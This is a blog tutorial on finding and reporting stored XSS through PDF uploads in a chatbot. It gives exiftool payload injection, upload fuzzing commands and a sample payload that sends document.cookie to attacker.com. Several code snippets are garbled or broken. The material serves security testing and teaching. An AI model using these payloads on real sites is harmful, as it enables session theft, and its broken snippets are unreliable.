Listen to this Post

Introduction
Stored Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous web application vulnerabilities, especially when it sneaks through file upload mechanisms. The recent disclosure of a stored XSS discovered in a chatbot’s PDF upload feature highlights how easily user‑controlled input can lead to script execution if not properly sanitized. This article dissects that real‑world scenario, providing a hands‑on guide to identifying, validating, and reporting such flaws—while turning a duplicate submission into a powerful learning experience.
Learning Objectives
- Understand how stored XSS can be introduced via malicious PDF file uploads.
- Learn step‑by‑step testing techniques, including crafting payloads and using essential tools.
- Master the art of writing structured vulnerability reports and validating business impact.
You Should Know
- The Anatomy of Stored XSS via PDF Upload
Modern web applications often allow users to upload files—PDFs, images, documents—which are then stored and displayed to other users. If the application does not properly validate or sanitize the content, an attacker can embed malicious scripts that execute when the file is viewed. In the case of a chatbot, an uploaded PDF might be rendered inline or made available for download, and any embedded JavaScript could run in the context of the victim’s browser.
How to test for PDF‑based XSS
- Craft a malicious PDF using metadata fields. Many applications read and display file metadata (author, title, etc.) without proper escaping.
- On Linux, use `exiftool` to inject a payload into metadata:
exiftool -Author='<script>alert("XSS")</script>' test.pdf - On Windows, you can use a tool like ExifTool GUI or PowerShell with `Set-Content` to modify metadata if you have a PDF library, but the simplest is to generate a PDF with JavaScript using online generators or `pdfkit` in Python:
from reportlab.pdfgen import canvas c = canvas.Canvas("xss.pdf") c.drawString(100, 750, "<script>alert('XSS')</script>") embedded in text c.save()Note: Many PDF viewers will not execute JavaScript in plain text, so more advanced embedding may be needed.
-
Test upload functionality by intercepting the request with Burp Suite. Modify the filename or content‑type headers, and observe whether the file is stored and later rendered in the browser.
- Check if the PDF is embedded via “ or `
Step‑by‑step guide
- Create a benign PDF and upload it to understand the application’s behavior.
- Inject a simple JavaScript payload (e.g.,
<script>alert(document.domain)</script>) into metadata usingexiftool. - Upload the crafted PDF and navigate to the page where it is displayed. If an alert box appears, you have a stored XSS.
-
If metadata is not reflected, try embedding JavaScript using PDF‑specific features like AcroForms or JavaScript actions (requires tools like `pdf‑toolkit` or manual editing with a hex editor).
-
Deep Impact Validation – Why Duplicate Reports Happen
A report marked as duplicate often means the same issue was previously discovered, but it can also indicate that the impact was not fully validated. In a bug bounty program, duplicates are common, but learning to assess true impact can turn a duplicate into a critical finding.
Steps to validate impact thoroughly
- Context matters: Test if the payload executes in different browsers (Chrome, Firefox, Safari) and in incognito mode. Some browsers block certain JavaScript in PDFs.
- Check for stored persistence: Does the payload survive server restarts? Is it stored in a database or just the file system?
- Assess the user base: If the vulnerable page is an admin dashboard, the impact could be higher.
- Use browser developer tools to inspect how the PDF is rendered. For instance, if the page uses
<iframe src="/uploads/malicious.pdf">, the PDF’s JavaScript might execute.
Commands and tools
- Use `curl` to automate uploads:
curl -F "file=@xss.pdf" https://target.com/upload
- Use Burp Repeater to manually test variations of the payload and observe server responses.
- On Windows, you can use Fiddler or OWASP ZAP for similar interception.
3. Crafting a Professional Bug Bounty Report
A clear, detailed report increases the chances of acceptance and reward. Even duplicates teach us how to write better.
Structure of a solid report
- Short and descriptive, e.g., “Stored XSS via Malicious PDF Upload in Chatbot Feature”.
- Description: Explain the vulnerability, where it occurs, and why it matters.
- Steps to Reproduce: Numbered, unambiguous steps.
- Navigate to the chatbot upload page.
- Upload a crafted PDF containing `` in its metadata.
- Visit the shared file link.
- Proof of Concept (PoC): Include screenshots or a video demonstrating the alert box. Provide the malicious PDF file or its generation script.
- Impact: Describe what an attacker could achieve—session hijacking, keylogging, defacement, etc.
- Remediation: Suggest proper input validation, content sanitization, and Content Security Policy headers.
Sample PoC code snippet
<!-- Embedded in PDF metadata -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Mitigation Techniques for Developers
Preventing stored XSS via file uploads requires a multi‑layered approach.
- File type validation: Whitelist allowed extensions and verify MIME types on the server.
- Content sanitization: Use libraries like Apache Tika or Apache PDFBox to strip scripts from PDFs.
- Secure storage: Store uploaded files outside the web root or with a randomly generated filename.
- Content Security Policy (CSP): Restrict script sources and disallow inline scripts.
- Server configuration:
- Apache: Disable script execution in upload directories:
<Directory "/var/www/uploads"> <FilesMatch "\.(php|pl|py|jsp|asp|aspx|sh|cgi)$"> Order Deny,Allow Deny from all </FilesMatch> </Directory>
- Nginx: Similar configuration:
location /uploads { location ~ .php$ { deny all; } }
5. Tools and Techniques for XSS Discovery
Beyond manual testing, automate your reconnaissance.
- Burp Intruder: Fuzz file upload parameters with common XSS payloads.
- Use a wordlist of XSS vectors (e.g., from PortSwigger or OWASP).
- Monitor responses for reflections of the payload.
- OWASP ZAP: Active scan rules include checks for stored XSS.
- Command‑line fuzzing with ffuf:
ffuf -u https://target.com/upload -X POST -F "file=@payloads/xxs.pdf" -w payloads/files.txt
6. Advanced: Exploiting PDF JavaScript Beyond Metadata
PDFs support JavaScript through AcroForms and document‑level scripts. To create a malicious PDF with JavaScript, you can use `pdf‑toolkit` or online services.
- Using `pdf‑toolkit` on Linux:
Install pdf‑toolkit (if available) or use `qpdf` to inject objects. qpdf --replace-input --add-attachment malicious.js -- malicious.pdf
However, crafting a fully functional JavaScript PDF often requires low‑level PDF manipulation. A simpler approach is to use a tool like `pdf‑generator` in Python:
from PyPDF2 import PdfReader, PdfWriter This is complex; consider using a dedicated PDF JavaScript generator
For testing purposes, many bug hunters rely on online PDF generators that allow embedding JavaScript, but always verify in a lab environment.
- Learning from Duplicates – Building a Methodology
When your report is marked duplicate, don’t get discouraged. Use it to refine your process.
- Research the program’s public reports (if any) on HackerOne or Bugcrowd.
- Search for similar vulnerabilities using Google dorks:
site:hackerone.com/reports "pdf upload" xss
- Review the duplicate notice to see if the issue was already fixed or if you missed a nuance.
- Update your testing checklist to include the specific vector that was already known.
What Undercode Say
- Key Takeaway 1: Always validate the real‑world impact of a vulnerability—does it actually execute in a meaningful context? Duplicates often result from incomplete impact assessment.
- Key Takeaway 2: Structured, well‑documented reports not only help triage teams but also serve as a personal knowledge base for future engagements.
- Analysis: The competitive nature of bug bounties means duplicates are inevitable. However, every duplicate sharpens your skills. By studying why a finding was already reported, you learn the program’s priorities and common attack surfaces. This particular stored XSS via PDF upload underscores a broader trend: file upload features are increasingly targeted, especially in AI‑driven chatbots that accept user files. As AI tools become more integrated, the attack surface expands—malicious PDFs could be used to steal conversation histories or execute cross‑site scripting in AI response interfaces. The key is to think like both an attacker and a developer: anticipate where user input is stored and rendered, and test every boundary.
Prediction: As chatbots and AI‑powered assistants proliferate, file‑upload XSS will evolve into more sophisticated attacks, including exploiting AI‑generated content that is dynamically rendered. We can expect a rise in “second‑order” XSS where a payload is stored and later processed by an AI model, then displayed unsanitized. Security researchers should focus on chaining file upload vulnerabilities with AI output rendering to uncover high‑impact flaws.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: T Jaswanth – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


